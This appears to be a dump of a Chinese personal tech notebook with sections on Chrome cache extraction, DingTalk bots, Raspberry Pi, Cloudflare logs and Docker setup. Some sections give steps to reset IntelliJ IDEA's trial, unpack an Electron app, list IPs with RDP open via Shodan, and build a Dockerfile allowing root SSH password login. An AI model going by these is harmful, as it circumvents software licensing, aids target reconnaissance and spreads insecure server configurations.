}\r\n    \r\n    outputResults(insertedDiv, convertToBase64(text), filepath, headerText);\r\n\r\n    insertedDiv.appendChild(document.createElement('hr'));\r\n\r\n    function outputResults(parentElement, fileContents, fileUrl, headerText) {\r\n        // last updated 1/27/12\r\n        var rgx = /.+\\/([^\\/]+)/;\r\n        var filename = rgx.exec(fileUrl)[1];\r\n\r\n        // get the content type\r\n        rgx = /content-type: (.+)/i;\r\n        var match = rgx.exec(headerText);\r\n        var contentTypeFound = match != null;\r\n        var contentType = \"text/plain\";\r\n        if (contentTypeFound) {\r\n            contentType = match[1];\r\n        }\r\n\r\n        var dataUri = \"data:\" + contentType + \";base64,\" + fileContents;\r\n\r\n        // check for gzipped file\r\n        var gZipRgx = /content-encoding: gzip/i;\r\n        if (gZipRgx.test(headerText)) {\r\n            filename += '.gz';\r\n        }\r\n        \r\n        // check for image\r\n        var imageRgx = /image/i;\r\n        var isImage = imageRgx.test(contentType);\r\n            \r\n        // create link\r\n        var aTag = document.createElement('a');\r\n        aTag.textContent = \"Left-click to download the cached file\";\r\n        aTag.setAttribute('href', dataUri);\r\n        aTag.setAttribute('download', filename);\r\n        parentElement.appendChild(aTag);\r\n        parentElement.appendChild(document.createElement('br'));\r\n    \r\n        // create image\r\n        if (isImage) {\r\n            var imgTag = document.createElement('img');\r\n            imgTag.setAttribute(\"src\", dataUri);\r\n            parentElement.appendChild(imgTag);\r\n            parentElement.appendChild(document.createElement('br'));\r\n        }\r\n    \r\n        // create warning\r\n        if (!contentTypeFound) {\r\n            var pTag = document.createElement('p');\r\n            pTag.textContent = \"WARNING: the type of file was not found in the headers... defaulting to text file.\";\r\n            parentElement.appendChild(pTag);\r\n        }\r\n    }\r\n\r\n    function getBase64Char(base64Value) {\r\n        if (base64Value < 0) {\r\n            throw \"Invalid number: \" + base64Value;\r\n        } else if (base64Value <= 25) {\r\n            // A-Z\r\n            return String.fromCharCode(base64Value + \"A\".charCodeAt(0));\r\n        } else if (base64Value <= 51) {\r\n            // a-z\r\n            base64Value -= 26; // a\r\n            return String.fromCharCode(base64Value + \"a\".charCodeAt(0));\r\n        } else if (base64Value <= 61) {\r\n            // 0-9\r\n            base64Value -= 52; // 0\r\n            return String.fromCharCode(base64Value + \"0\".charCodeAt(0));\r\n        } else if (base64Value <= 62) {\r\n            return '+';\r\n        } else if (base64Value <= 63) {\r\n            return '/';\r\n        } else {\r\n            throw \"Invalid number: \" + base64Value;\r\n        }\r\n    }\r\n\r\n    function convertToBase64(input) {\r\n        // http://en.wikipedia.org/wiki/Base64#Example\r\n        var remainingBits;\r\n        var result = \"\";\r\n        var additionalCharsNeeded = 0;\r\n\r\n        var charIndex = -1;\r\n        var charAsciiValue;\r\n        var advanceToNextChar = function() {\r\n            charIndex++;\r\n            charAsciiValue = input.charCodeAt(charIndex);\r\n            return charIndex < input.length;\r\n        };\r\n\r\n        while (true) {\r\n            var base64Char;\r\n\r\n            // handle 1st char\r\n            if (!advanceToNextChar()) break;\r\n            base64Char = charAsciiValue >>> 2;\r\n            remainingBits = charAsciiValue & 3; // 0000 0011\r\n            result += getBase64Char(base64Char); // 1st char\r\n            additionalCharsNeeded = 3;\r\n\r\n            // handle 2nd char\r\n            if (!advanceToNextChar()) break;\r\n            base64Char = (remainingBits << 4) | (charAsciiValue >>> 4);\r\n            remainingBits = charAsciiValue & 15; // 0000 1111\r\n            result += getBase64Char(base64Char); // 2nd char\r\n            additionalCharsNeeded = 2;\r\n\r\n            // handle 3rd char\r\n            if (!advanceToNextChar()) break;\r\n            base64Char = (remainingBits << 2) | (charAsciiValue >>> 6);\r\n            result += getBase64Char(base64Char); // 3rd char\r\n            remainingBits = charAsciiValue & 63; // 0011 1111\r\n            result += getBase64Char(remainingBits); // 4th char\r\n            additionalCharsNeeded = 0;\r\n        }\r\n\r\n        // there may be an additional 2-3 chars that need to be added\r\n        if (additionalCharsNeeded == 2) {\r\n            remainingBits = remainingBits << 2; // 4 extra bits\r\n            result += getBase64Char(remainingBits) + \"=\";\r\n        } else if (additionalCharsNeeded == 3) {\r\n            remainingBits = remainingBits << 4; // 2 extra bits\r\n            result += getBase64Char(remainingBits) + \"==\";\r\n        } else if (additionalCharsNeeded != 0) {\r\n            throw \"Unhandled number of additional chars needed: \" + additionalCharsNeeded;\r\n        }\r\n\r\n        return result;\r\n    }\r\n    })()\r\n```\r\n\r\n例如找到http://a3.qpic.cn/psb?/V12C1bLj2DcCgb/f9hTWn5wbxt3dZd5MlUCHX6tA9oqVOudgT2rqARLltk!/a/dI4BAAAAAAAA\r\n\r\n但这样只是一张小图，我们当然希望有大图，比对大图的url发现只要将上述url的/a/替换为/b/即可\r\n\r\n所以总结一下就是打开缓存页面chrome://cache/，查找psb字符串，找到想要的图片，如果是小图就改一下url得到大图\r\n\r\n\r\n------\r\n\r\n## 为什么我喜欢写博客？\r\n\r\n摘自 https://manishearth.github.io/blog/2018/08/26/why-i-enjoy-blogging/\r\n\r\n写下来的过程发现自己还有不懂的，给自己讲清楚甚至能发现rust标准库的bug，本质上是给很多人讲需要考虑所有方面而不是最小必要；当你觉得显而易见的时候很容易失去解释清楚的能力\r\n\r\n读旧的文章很有趣 让自己回到写作的那一时刻 比较当时自己的理解和现在的 体会自己的进步，重新学习已经忘了的\r\n\r\n写作能换个脑子 在不同工作之前切换 使用不同的脑区 整天都有精力\r\n\r\n写blog能偷懒 以后有人问到就能直接给链接说“你想知道更多的话 我已经在这写过了”\r\n\r\n别人写过了还要不要写？要写！ 你的理解不同，散落在不同地方的知识综合起来也有价值\r\n\r\n你真正的职责是当你有空free了，你应该让其他人也轻松free，如果你有能力power，你的职责就是为其他人赋能empower\r\n\r\n自学不意味着当一个编译器的fuzzer随机尝试，而是学文档tutorial，从书籍学算法——自学只是说你完全掌控自己的学习过程，但仍然依赖其他人的工作\r\n\r\n你也应该写博客 这里有一些建议https://jvns.ca/blog/2016/05/22/how-do-you-write-blog-posts/\r\n\r\n-----\r\n\r\n## 支持被at的(outgoing)钉钉机器人\r\n\r\n需要自己注册一个企业，管理员才能创建这种机器人，机器人只能在内部群使用\r\n\r\n文档： https://ding-doc.dingtalk.com/doc#/serverapi2/elzz1p\r\n\r\n其中缺失了关于atDingtalkIds的描述，需要看这个： https://juejin.im/post/6844903922029576205\r\n\r\n需要注意的地方有：修改服务器回调通知地址和修改上线的时候，钉钉就会验证服务器是否正常，你可以`while true; nc -lp 8888 < tmp.txt; done` 死循环提供个正常的http服务\r\n\r\nPOST发来的数据里面有临时的url可以发消息，还有senderId是发送者id用来在atDingtalkIds中使用\r\n\r\n收到的POST内容：\r\n\r\n```\r\n{\"conversationId\":\"cidoAgtPbnu9MyulIyt0kpNYg==\",\"atUsers\":[{\"dingtalkId\":\"$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW\"}],\"chatbotCorpId\":\"dingb1d0b0ca51cxxxxxx\",\"chatbotUserId\":\"$:LWCP_v1:$Jh2MBlTKQnC/tN4tDTZB3eOIi+xOatMW\",\"msgId\":\"msgWjYj1k8LPNOBBy+jxNKwQw==\",\"senderNick\":\"发送者姓名\",\"isAdmin\":false,\"senderStaffId\":\"2665036700000000\",\"sessionWebhookExpiredTime\":1600622026555,\"createAt\":1600616626487,\"senderCorpId\":\"dingb1d0b0ca51c029b24ac5d6980000000\",\"conversationType\":\"2\",\"senderId\":\"$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV\",\"conversationTitle\":\"群组标题\",\"isInAtList\":true,\"sessionWebhook\":\"https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386\",\"text\":{\"content\":\" 1+1\"},\"msgtype\":\"text\"}\r\n```\r\n\r\n回复发送者一个666：\r\n\r\n```\r\ncurl https://oapi.dingtalk.com/robot/sendBySession?session=b28f49899ea1cba0d256673d66ffe386 -H \"Content-Type: application/json\" --data '{\"msgtype\":\"text\", \"text\":{\"content\":\"666\"}, \"at\":{\"atDingtalkIds\":[\"$:LWCP_v1:$9gY0EpfG9gA0e4xnPjDHugeGB0JtdCJV\"]}}'\r\n```\r\n\r\n-----\r\n\r\n## Go语言\r\n\r\n### 安装\r\n\r\n```\r\nwget -q https://golang.org/dl/go1.15.3.linux-amd64.tar.gz &&\\\r\n    tar -C /usr/local -xzf go1.15.3.linux-amd64.tar.gz\r\nexport PATH=$PATH:/usr/local/go/bin\r\n```\r\n\r\n### 提取build失败缺失的库安装\r\n\r\n```\r\ngo build |&  grep cannot |cut -d'\"' -f2|xargs go get\r\n```\r\n\r\n----\r\n\r\n## IDEA2020.2 30天后重新试用\r\n\r\n参考： http://scz.617.cn:8/windows/202010261152.txt\r\n\r\nregedit找到HKCU\\SOFTWARE\\JavaSoft\\Prefs\\jetbrains\\idea，其中会有目录包含evlsprt3\\202，删掉这个目录里面的evlsprt和evlsprt2\r\n\r\n然后删除这些目录：\r\n\r\n```\r\nrd /s /q \"%APPDATA%\\JetBrains\\IntelliJIdea2020.2\\eval\"\r\ndel \"%APPDATA%\\JetBrains\\PermanentDeviceId\"\r\ndel \"%APPDATA%\\JetBrains\\PermanentUserId\"\r\ndel \"%APPDATA%\\JetBrains\\bl\"\r\ndel \"%APPDATA%\\JetBrains\\crl\"\r\n```\r\n\r\n编辑\"%APPDATA%\\JetBrains\\IntelliJIdea2020.2\\options\\other.xml\"\r\n\r\n删除包含evlsprt.202或evlsprt2.202的行\r\n\r\n----\r\n\r\n## 树莓派到手后配置\r\n\r\n一款新的树莓派4到手，默认为英国键盘布局不能输入@#符号，显示分辨率不够1080p，以及有线网络和无线网络优先级需要调整\r\n\r\n### 修改键盘布局\r\n\r\n查到有教程说`sudo raspi-config`里可以修改键盘布局，实测发现改了之后只敲了一次@之后又被改回去了，还是得修改输入法：\r\n\r\n参考 https://jingyan.baidu.com/article/3aed632e29dfd87011809169.html\r\n\r\n```\r\nsudo apt install fcitx\r\nreboot\r\n```\r\n\r\n右上角有输入法图标 管理键盘 删掉英国 加上英语(美国)即可\r\n\r\n### 显示分辨率修改\r\n\r\n参考 https://www.ncnynl.com/archives/201607/226.html\r\n\r\n树莓派有两种hdmi输出模式，1是CEA电视，2是DMT电脑显示器\r\n\r\n查看当前显示器支持的分辨率们：\r\n\r\n```\r\ntvservice -m CEA\r\ntvservice -m DMT\r\n```\r\n\r\n实际上显示出来的并不一定完整，还需要自己多测试：例如设置为 640x480   60Hz\r\n\r\n```\r\ntvservice -e \"DMT 4\"\r\n```\r\n\r\n建议在终端里先敲这个命令 当显示不出来的时候可以按↑回车改回一个正常显示，不至于重启\r\n\r\n完整的列表在上述参考链接中有了，可以自己多试试，切换分辨率后记得移动鼠标 不然不会显示\r\n\r\n但是我希望的分辨率 1920x1080 60Hz不在DMT列表中，这就需要自定义分辨率了\r\n\r\n修改`/boot/config.txt`，添加：\r\n\r\n```\r\nhdmi_cvt=1920 1080 60 3\r\nhdmi_group=2\r\nhdmi_mode=87\r\nhdmi_drive=2\r\n```\r\n\r\n其中hdmi_cvt的解释： https://www.raspberrypi.org/documentation/configuration/config-txt/video.md\r\n\r\n其中最后一个3是sdtv_aspect 长宽比 我这里是16:9 所以填了3\r\n\r\n修改后重启即可，似乎目前树莓派也学聪明了，即使config.txt里配置了错误的值显示不出来，也会自动回退到720p保证显示\r\n\r\n### 调整无线网络和有线网络的优先级\r\n\r\n我希望外网访问(default路由)走wifi，内网访问(10.0.0.0/8)走有线，但默认联网后有线也会占据default路由而且优先级比无线高（跃点数小）\r\n\r\n两个网络都是使用dhcp获取IP，所以可以在dhcp的配置文件里配置metric\r\n\r\n参考： https://raspberrypi.stackexchange.com/a/50951\r\n\r\n编辑`/etc/dhcpcd.conf`\r\n\r\n```\r\ninterface wlan0\r\nmetric 200\r\n\r\ninterface eth0\r\nmetric 300\r\n```\r\n\r\n然后编辑dhcp的hook自动执行route命令：\r\n\r\n参考 https://wiki.archlinux.org/index.php/dhcpcd#DHCP_static_route.28s.29\r\n\r\n编辑`/etc/dhcpcd.exit-hook`\r\n\r\n```\r\nroute add -net 10.0.0.0/8 gw <网关ip> dev eth0\r\n```\r\n\r\n----\r\n\r\n## 修改Electron应用\r\n\r\n想让这个Electron应用浏览器打开自定义的页面，但人家没提供F12（虽然最后发现也没啥用Orz\r\n\r\n参考： [吾爱破解-Electron跨平台程序破解的一般思路](https://www.52pojie.cn/thread-563895-1-1.html)\r\n\r\n```\r\nnpm install asar -g\r\n# 在resources目录可以找到app.asar，这样解包：\r\nasar e app.asar tmp\r\n\r\n# 修改后重新打包：\r\nasar p tmp/ app.asar\r\n```\r\n\r\n具体的修改挺简单，找到入口的electron.js\r\n\r\n注释掉new BrowserWindow的titleBarStyle: 'hidden', removeMenu() 修改.loadURL(url)\r\n\r\n------\r\n\r\n## Cloudflare免费账户 获取访问日志\r\n\r\n原始日志只对付费的企业版开放，难道我们就没有方法获取访问日志来分析流量嘛？\r\n\r\n看到防火墙的拦截日志，又发现“绕过”这个action也会记录日志，那我们就可以创建一个绕过本身就没有启用的防护，就能记录所有流量了。但注意这个防火墙日志是抽样记录的。\r\n\r\n看F12 Network发现人家查询接口用的是GraphQL，然后发现需要通过introspection才能知道有哪些可用的字段\r\n\r\ncloudflare的文档： https://developers.cloudflare.com/analytics/graphql-api/getting-started/querying-basics\r\n\r\n实际的introspection请求：[https://stackoverflow.com/questions/34199982/how-to-query-all-the-graphql-type-fields-without-writing-a-long-query](https://stackoverflow.com/a/44289026)\r\n\r\n\r\n查询限制：一次分页可以获取最大10000条记录，filter必须有内容，时间跨度一次不能超过24小时\r\n\r\n```python\r\nimport requests\r\nfrom pprint import pprint\r\nfrom datetime import timezone,datetime,timedelta\r\nsess=requests.session()\r\nfrom config import headers\r\n\r\ndef fetch(ts):\r\n    res = []\r\n    end = ts.strftime(\"%Y-%m-%dT%H:%M:%SZ\")\r\n    start = (ts-timedelta(days=1)).strftime(\"%Y-%m-%dT%H:%M:%SZ\")\r\n    x=sess.post(\"https://api.cloudflare.com/client/v4/graphql\", headers=headers, data= '{\"operationName\":\"ActivityLogQuery\",\"variables\":{\"zoneTag\":\"8a4335a74373cec7fd053241dc3e3f41\",\"filter\":{\"datetime_geq\":\"'+start+'\",\"datetime_leq\":\"'+end+'\"},\"limit\":10000,\"activityFilter\":{\"datetime_geq\":\"'+start+'\",\"datetime_leq\":\"'+end+'\"}},\"query\":\"query ActivityLogQuery($zoneTag: string, $filter: FirewallEventsAdaptiveGroupsFilter_InputObject, $activityFilter: FirewallEventsAdaptiveFilter_InputObject, $limit: int64\\\\u0021) { viewer { zones(filter: {zoneTag: $zoneTag}) { total: firewallEventsAdaptiveByTimeGroups(limit: 1, filter: $filter) { count avg { sampleInterval __typename } __typename } activity: firewallEventsAdaptive(filter: $activityFilter, limit: $limit, orderBy: [datetime_DESC, rayName_DESC, matchIndex_ASC]) { action clientASNDescription clientAsn clientCountryName clientIP clientRequestHTTPHost clientRequestHTTPMethodName clientRequestHTTPProtocol clientRequestPath clientRequestQuery datetime rayName ruleId source userAgent matchIndex metadata { key value __typename } sampleInterval originResponseStatus edgeResponseStatus clientRefererScheme clientRefererHost clientRefererPath clientRefererQuery clientIPClass  __typename } __typename } __typename }}\"}')\r\n    #print(x.json())\r\n    return x.json()[\"data\"][\"viewer\"]['zones'][0]['activity']\r\n\r\n\r\nlogformat = ['datetime', 'clientIP', 'clientIPClass', 'edgeResponseStatus', 'originResponseStatus', 'clientRequestHTTPMethodName', 'clientRequestPath', 'clientRequestQuery', 'clientRequestHTTPProtocol', 'clientRefererScheme', 'clientRefererHost', 'clientRefererPath', 'clientRefererQuery', 'userAgent', 'action', 'clientASNDescription', 'clientAsn', 'clientCountryName', 'clientRequestHTTPHost',  'matchIndex', 'ruleId', 'sampleInterval', 'source', 'rayName']\r\nfp=open(\"access.log\", \"w\")\r\nts = datetime.now(tz=timezone.utc)\r\nknownrays=set()\r\ndata = None\r\nwhile data is None or len(data)==10000:\r\n    data = fetch(ts)\r\n    for i in data:\r\n        if i['rayName'] in knownrays:\r\n            continue\r\n        line = \"\\t\".join(str(i[j]) for j in logformat)\r\n        fp.write(line+\"\\n\")\r\n    last = data[-1]\r\n    knownrays.update([i['rayName'] for i in data if i['datetime']==last['datetime']])\r\n    print(last['datetime'], \"len(knownrays)=\",len(knownrays))\r\n    ts = datetime.strptime(last['datetime'], \"%Y-%m-%dT%H:%M:%SZ\")\r\n```\r\n\r\n然后就能分析例如访问最多的IP: `cut -d$'\\t' -f2 access.log|sort|uniq -c|sort -hr|head -n 30`\r\n\r\n----\r\n\r\n## shodan 搜索开放特定端口的ip列表\r\n\r\n这个需求只需要使用faucet即可，免费\r\n\r\n举个例子：搜索3389的中国ip：\r\n\r\n[https://beta.shodan.io/search/facet?query=port%3A3389+country%3Acn&facet=ip](https://beta.shodan.io/search/facet?query=port%3A3389+country%3Acn&facet=ip)\r\n\r\n也可以使用shodan的python包来查询，需要注册一个账号得到api key：\r\n\r\n```\r\nimport shodan\r\nx=shodan.Shodan(\"APIKEY\")\r\ndata=x.search(\"port:3389 country:cn\", facets=['ip:10000'])\r\niplist=([i[\"value\"] for i in data[\"facets\"][\"ip\"]])\r\n```\r\n\r\n## 找到 /var/lib/docker/overlay2 对应的容器\r\n\r\n硬盘空间不够，可能是docker占用了太多空间\r\n\r\n参考 https://fabianlee.org/2021/04/08/docker-determining-container-responsible-for-largest-overlay-directories/\r\n\r\n```\r\nncdu /var/lib/docker/overlay2 #查看哪些目录占据空间最大\r\ndocker inspect $(docker ps -qa) | jq -r 'map([.Name, .GraphDriver.Data.MergedDir]) | .[] | \"\\(.[0])\\t\\(.[1])\"' > docker-mappings.txt\r\n```\r\n"
  },
  {
    "path": "Docker.md",
    "content": "## 搬运镜像\r\n\r\n```\r\nIMAGE=mysql\r\ndocker save $IMAGE | 7z a -si $IMAGE.tar.7z\r\n7z x -so $IMAGE.tar.7z | docker load\r\n```\r\n\r\n## 安装Docker\r\n\r\n```\r\ncurl -fsSL https://get.docker.com -o get-docker.sh\r\nsh get-docker.sh --mirror Aliyun\r\n```\r\n\r\n## myubuntu 基础镜像\r\n\r\n@TAG 时区 timezone \r\n\r\n简单地将Docker当成虚拟机来使用的话，自然要准备个好用的基础镜像咯\r\n\r\n基于目前最新的ubuntu18.04，配置apt源、pip源、时区、ssh允许密码登录\r\n\r\nDockerfile:\r\n\r\n```\r\nFROM ubuntu:18.04\r\nRUN sed -i 's/security.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list && \\\r\n    sed -i 's/archive.ubuntu.com/mirrors.aliyun.com/g' /etc/apt/sources.list # 修改apt源\r\nRUN apt update && apt install -y ssh curl wget net-tools iputils-ping netcat python3-pip python-pip nano vim tzdata screen psmisc\r\nRUN ln -sf /usr/share/zoneinfo/Asia/Shanghai  /etc/localtime # 修改时区\r\nRUN mkdir -p ~/.pip && echo '[global]\\nindex-url = http://pypi.doubanio.com/simple/\\n[install]\\ntrusted-host=pypi.doubanio.com\\n'>  ~/.pip/pip.conf\r\nRUN sed -i 's/prohibit-password/yes/g' /etc/ssh/sshd_config && sed -i 's/#PermitRootLogin/PermitRootLogin/g' /etc/ssh/sshd_config # 允许root用户密码登录\r\nRUN echo root:badpassword|chpasswd # 记得修改这里的密码\r\nADD run.sh /\r\nRUN chmod +x /run.sh\r\nCMD /run.sh\r\n```\r\n\r\nrun.sh:\r\n\r\n```\r\n#!/bin/bash\r\nservice ssh start\r\n# 在容器内安装了mysql等之后可以在run.sh这里添加相应的启动命令\r\nsleep infinity\r\n```\r\n\r\nbuild命令：\r\n\r\n```\r\ndocker build -t myubuntu18 .\r\n```\r\n\r\n## Install 安装\r\n\r\n建议参见[如何翻墙](https://github.com/zjuchenyuan/notebook/blob/master/code/ssprivoxy.txt)，部署http proxy\r\n\r\n安装之前，建议修改apt源\r\n\r\n安装之前，或许要对内核升级，如果执行安装脚本发出了对aufs的警告，请先看下面的 _解决aufs的问题_\r\n\r\n安装命令： \r\n\r\n    curl -fsSL get.docker.com -o get-docker.sh\r\n    sh get-docker.sh --mirror Aliyun\r\n\r\n其中最后一步的apt-get install docker-engine耗时较长，看起来很像卡死，需要耐心等待\r\n\r\n安装后执行docker version，没有报错即可\r\n\r\n### 解决aufs的问题\r\n\r\n```\r\napt-get install lxc wget bsdtar curl\r\napt-get install linux-image-extra-$(uname -r)\r\nmodprobe aufs\r\n```\r\n\r\n--------\r\n\r\n## 加速镜像下载\r\n\r\n> 在执行以下操作之前，请检查docker的版本：`docker -v`\r\n\r\n> 如果你的docker版本为1.6.2,请参考下方 卸载docker\r\n\r\n## 建议使用阿里云的镜像源\r\n\r\n```\r\nsudo mkdir -p /etc/docker\r\nsudo tee /etc/docker/daemon.json <<-'EOF'\r\n{\r\n  \"registry-mirrors\": [\"https://h0kyslzs.mirror.aliyuncs.com\"]\r\n}\r\nEOF\r\nsudo systemctl daemon-reload\r\nsudo systemctl restart docker\r\n```\r\n\r\n另外你也可以使用USTC的镜像源：参考 https://lug.ustc.edu.cn/wiki/mirrors/help/docker\r\n\r\n-------\r\n\r\n### Docker旧版本卸载\r\n\r\n如果你的docker是使用apt-get install docker.io安装的，先执行以下命令卸载：\r\n\r\n    apt-get remove docker.io\r\n    apt-get autoremove\r\n    rm -rf /var/lib/docker\r\n\r\n然后就可以执行安装命令了\r\n\r\n--------\r\n\r\n## 获得容器的ip\r\n\r\n@TAG getip\r\n\r\n```\r\nalias getip=\"docker inspect  --format '{{.NetworkSettings.IPAddress}}' \"\r\n\r\ngetip 容器名称\r\n```\r\n\r\n这种方案对macvlan的容器不适用，参见 获取macvlan容器的IP\r\n\r\n--------\r\n\r\n## 导出导入\r\n\r\n### 搬运镜像--save导出镜像\r\n\r\n由于网络带宽(流量)往往是瓶颈资源，所以产生更小的压缩文件很有必要，这里我们可以生成 tar.7z 文件：`apt-get install -y p7zip-full`\r\n\r\n    docker save 镜像名称 | 7z a -si 导出文件名.tar.7z\r\n\r\n这是生成tar.gz文件：\r\n\r\n    docker save 镜像名称 | gzip >导出文件名.tar.gz\r\n\r\n### 搬运镜像--load载入镜像\r\n\r\n如果是 tar.7z 文件，需要调用 7z 命令解压：\r\n\r\n    7z x -so 文件名.tar.7z | docker load\r\n\r\n如果是 tar.gz 文件，可以直接载入：\r\n\r\n    docker load < 文件名.tar.gz\r\n\r\n### Export导出容器 并不常用\r\n\r\n直接导出容器并不常用，建议`docker commit 容器名称 保存成的镜像名称`，然后导出镜像\r\n\r\n导出容器得到的是tar文件，没有进行压缩，我们需要手动执行压缩\r\n\r\n    docker export 容器的名称或ID | gzip >导出文件名.tar.gz\r\n\r\n### Import导入容器\r\n\r\n虽然上一步我们压缩了，但docker可以直接import，不需要用gunzip\r\n\r\n    docker import 文件名\r\n\r\n--------\r\n\r\n## 解决iptables failed - No chian/target/match by that name\r\n\r\n如果docker安装的时候没有自动把需要的规则链加上，可以手动添加\r\n\r\n    iptables -t nat -N DOCKER\r\n    iptables -t filter -N DOCKER\r\n\r\n附：如果需要删除链条，可以用`iptables-save`导出后手动编辑后`iptables-restore`\r\n\r\n--------\r\n\r\n## 迁移Docker文件夹到其他硬盘\r\n\r\n当镜像多了起来的时候，/var/lib所在的磁盘分区很可能被占满，这时候要考虑迁移到其他硬盘，此处以迁移到`/home/docker`为例说明\r\n\r\n```bash\r\n# 首先记得关闭服务\r\nservice docker stop\r\nmv /var/lib/docker /home/\r\n# 然后修改服务配置文件/etc/default/docker，此处建议手动vim编辑，在启动参数中加入这个：\r\n#    --graph='/home/docker'\r\necho -e \"\\nDOCKER_OPTS=\\\"--graph='/home/docker'\\\"\" >> /etc/default/docker\r\n```\r\n\r\n----\r\n\r\n## 解决debian等容器没有ifconfig,killall的问题\r\n\r\n```\r\napt-get install net-tools psmisc\r\n```\r\n\r\n----\r\n\r\n## 设置容器低权限用户运行\r\n\r\n@TAG user 安全最佳实践\r\n\r\n在Dockerfile中加入\r\n\r\n```\r\nUser nobody\r\n```\r\n\r\n容器运行后exec进去默认是nobody用户，并不能su啥的，这时候exec需要带参数-u表示用指定用户身份进入容器：\r\n\r\n```\r\ndocker exec -i -t -u root 容器名称 /bin/bash\r\n```\r\n\r\n----\r\n\r\n## 设置容器/etc/resolv.conf和/etc/hosts\r\n\r\n在容器中这两个文件是以mount形式挂载的，不能unmount；即使进行修改，容器重启后修改就丢失了\r\n\r\n其实这两个文件应该在容器创建的时候指定参数`--dns`和`--add-host`来加以控制：\r\n\r\n```\r\ndocker run -d --dns 114.114.114.114 --add-host example.com:1.2.3.4 容器名称\r\n```\r\n\r\n----\r\n\r\n## 容器限制参数设置\r\n\r\n当容器是开放给不可信域的时候(如部署一个CTF的pwn题目)，虽然容器逃逸0-day我也没办法，但限制一下容器资源占用防止搅屎也是很有必要的\r\n\r\n```\r\n--cpu-shares 512 --cpu-period=100000 --cpu-quota=50000 --memory 104857600 --ulimit=nofile=65536 --pids-limit=200 --blkio-weight=512 --restart=\"always\"\r\n```\r\n\r\n效果简介：如上配置最多占用 50% 单个 CPU ，最多占用100MB物理内存，容器内进程数目最多200个\r\n\r\n`--cpu-shares`表示相对利用占比，不设置的默认值为1024，单个CPU是1024，只有当容器试图占用100%的CPU时才会体现作用，举个例子：\r\n\r\n> From: http://blog.opskumu.com/docker-cpu-limit.html\r\n> 假如一个 1core 的主机运行 3 个 container，其中一个 cpu-shares 设置为 1024，而其它 cpu-shares 被设置成 512。当 3 个容器中的进程尝试使用 100% CPU 的时候「尝试使用 100% CPU 很重要，此时才可以体现设置值」，则设置 1024 的容器会占用 50% 的 CPU 时间，其他两个容器则只能分别占用到 25% 的 CPU 时间。\r\n> 如果主机是 3core，运行 3 个容器，两个 cpu-shares 设置为 512，一个设置为 1024，则此时每个 container 都能占用其中一个 CPU 为 100%。\r\n\r\n`--cpu-period`表示按多少秒分片，例如设置为100000就是按100ms分割，同时设置`--cpu-quota`为50000就是50ms，效果是同时只能使用0.5个CPU\r\n\r\n`--memory`限制容器使用的物理内存，当容器超出时，其中的进程会被kill，详细请参考http://blog.opskumu.com/docker-memory-limit.html\r\n\r\n`--blkio-weight`表示IO相对权重，详细请参考[http://blog.opskumu.com/docker-io-limit.html](http://blog.opskumu.com/docker-io-limit.html)\r\n\r\n----\r\n\r\n## 快速部署ftp\r\n\r\n@TAG vsftpd\r\n\r\nvsftpd的配置真是让人头疼，不如`docker search ftp`一番，然后google一下找到对应的[Docker Hub页面](https://hub.docker.com/r/stilliard/pure-ftpd/)\r\n\r\n使用步骤：\r\n\r\n```\r\ndocker run -d --name ftpd_server -p 21:21 -p 30000-30009:30000-30009 -e \"PUBLICHOST=localhost\" -v /path/to/the_ftp_directory:/data stilliard/pure-ftpd:hardened\r\ndocker exec -it ftpd_server /bin/bash\r\n#进入容器后创建用户\r\npure-pw useradd bob -f /etc/pure-ftpd/passwd/pureftpd.passwd -m -u ftpuser -d /data\r\n```\r\n\r\n----\r\n\r\n## 快速部署wordpress\r\n\r\n@TAG sub_filter\r\n\r\n想搭建一个自己的blog，选择玩一玩wordpress咯，这里记录一下完整的流程和遇到的问题及解决方案\r\n\r\n技术相关： Docker Nginx HTTPS \r\n\r\n目标： 快速搭建一个全站https的wordpress站点，域名为example.com\r\n\r\n### 完整流程：\r\n\r\n1. 前期准备:域名+vps\r\n\r\n注册域名 如果面向国内访问，还需要备案咯；别忘了配置DNS解析\r\n\r\n买个vps服务器，建议选择香港vps\r\n\r\n2. 安装Docker和Nginx\r\n\r\n```\r\ncurl -fsSL https://get.docker.com -o get-docker.sh\r\nsh get-docker.sh --mirror Aliyun\r\napt-get install -y nginx\r\n```\r\n\r\n3. 启动一个mysql的镜像：\r\n\r\n```\r\n# Google搜索关键词 \"docker mysql\"\r\ndocker run --name mysql -e MYSQL_ROOT_PASSWORD=这里改成你想设置的密码 -d mysql\r\n# Google搜索关键词 \"docker wordpress\"\r\ndocker run --name wp --link mysql:mysql -p 6666:80 -d wordpress\r\n```\r\n\r\n4. 域名https证书获取以及启用https访问，此部分具体见[Nginx.md](Nginx.md)中`获得Let's encrypt免费https证书`和`配置安全的https`部分\r\n\r\n5. 配置Nginx，完整配置如下：\r\n\r\n```\r\nserver{\r\n    server_name *.example.com example.com;\r\n    location /.well-known/acme-challenge { #这是let's encrypt申请证书的时候用到的目录\r\n        alias /tmp/acme/;\r\n        try_files $uri =404;\r\n    }\r\n    location /{\r\n        rewrite ^ https://$host$request_uri? permanent;\r\n    }\r\n}\r\nserver{\r\n    server_name *.example.com example.com;\r\n    include https.conf;\r\n    access_log /var/log/nginx/example_access.log;\r\n    error_log /var/log/nginx/example_error.log;\r\n    ssl_certificate /home/keys/example.crt;\r\n    ssl_certificate_key /home/keys/example.key;\r\n    location / {\r\n        proxy_pass http://127.0.0.1:6666;\r\n        proxy_set_header Host $host;\r\n        proxy_set_header Accept-Encoding \"\"; #禁止后端返回gzip内容，保证能够替换\r\n        sub_filter_once off; #多次替换 不只是替换一次\r\n        sub_filter \"http://www.example.com\" \"https://www.example.com\";\r\n    }\r\n}\r\n```\r\n\r\n### 遇到的坑\r\n\r\n1. docker run的时候忘记-p参数\r\n\r\n建议还是把端口映射出来，在容器重启后容器的内网IP是会发生变化的，不适合将172.17.0.*这种IP写入nginx配置\r\n\r\n此时我选择了`docker rm -f 容器ID`强制删掉容器，再加上-p参数后启动\r\n\r\n2. 全站https\r\n\r\n虽然我的https.conf中定义了HSTS，浏览器也确实会把所有的请求都自动用https协议访问，但是还是由于form的action为http协议而警告不安全(在Chrome开发人员工具的Console看到)，也没有小绿锁显示。所以要保证服务器输出给浏览器的内容就是https的链接\r\n\r\n一开始选择了官方wordpress的方法(Google关键词\"wordpress 